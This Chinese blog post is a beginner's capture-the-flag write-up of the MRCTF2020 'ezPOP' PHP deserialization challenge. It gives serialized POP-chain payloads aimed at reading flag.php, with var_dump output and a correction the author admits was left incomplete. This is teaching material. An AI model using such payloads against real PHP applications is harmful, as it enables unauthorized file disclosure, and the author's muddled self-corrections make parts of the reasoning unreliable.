欢迎光临散文网 会员登陆 & 注册

MRCTF2020--ezPOP初学者学习与分析

2023-03-11 23:52 作者:鱼鱼鱼鹅  | 我要投稿

我们直接上题目

我们知道,php的反序列化题目大多是依靠我们传入一个序列化的对象,依靠我们唯一能控制的成员属性,利用题目里面的魔术方法一层一层跳转达到我们 “借刀杀人” 的目的,获取敏感的数据,也可以被称为 “面向属性编程” 

题目里包含的魔术方法如下:

我们开始分析题目:

图片太小请放大,抱歉

我们分析pop链的题目时,最好使用逆向分析的方法,也就是把我们离目标最近的思路搞清楚,再去想怎么把这个思路实现,也就是上面图片的箭头


下面是Payload:


我犯了一个小错误


后面的‘flag.php’其实就是‘php://xxxxx/resource=flag.php’


忘记改了,抱歉


正确Payload:

正确Payload

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

 

错误Payload:

错误Payload

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

 

分析: 使用 var_dump($s)


正确版:

object(Show)#2 (2) {

  ["source"]=>

  *RECURSION*

  ["str"]=>

  object(Test)#1 (1) {

    ["p"]=>

    object(Modifier)#3 (1) {

      ["var":"Modifier":private]=>

      string(8) "flag.php"

    }

  }

}

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}


错误版:

object(Show)#2 (2) {

  ["source"]=>

  object(Show)#4 (2) {

    ["source"]=>

    NULL

    ["str"]=>

    NULL

  }

  ["str"]=>

  object(Test)#1 (1) {

    ["p"]=>

    object(Modifier)#3 (1) {

      ["var":"Modifier":private]=>

      string(8) "flag.php"

    }

  }

}

 

可以看到,错误payload的source里的str为NULL,让触发__toString的对象执__toString里面的代码,接下来我们只要控制删不删除$s的str,两个都回显flag,那说明方向是对的

 

①不删除:

object(Show)#2 (2) {

  ["source"]=>

  object(Show)#4 (2) {

    ["source"]=>

    NULL

    ["str"]=>

    object(Test)#1 (1) {

      ["p"]=>

      object(Modifier)#3 (1) {

        ["var":"Modifier":private]=>

        string(8) "flag.php"

      }

    }

  }

  ["str"]=>

  object(Test)#1 (1) {

    ["p"]=>

    object(Modifier)#3 (1) {

      ["var":"Modifier":private]=>

      string(8) "flag.php"

    }

  }

}

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";r:4;}

成功回显flag

 

②删除

object(Show)#2 (2) {

  ["source"]=>

  object(Show)#4 (2) {

    ["source"]=>

    NULL

    ["str"]=>

    object(Test)#1 (1) {

      ["p"]=>

      object(Modifier)#3 (1) {

        ["var":"Modifier":private]=>

        string(8) "flag.php"

      }

    }

  }

  ["str"]=>

  NULL

}

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";N;}

成功回显flag

---------

过了几分钟,越想越不对劲,直接跳下床,我发现几分钟之前的我蠢得可以,echo source这个对象触发的不就是source的__toString吗,我在干什么???

如有错误,请各位大佬指正

MRCTF2020--ezPOP初学者学习与分析的评论 (共 条)

分享到微博请遵守国家法律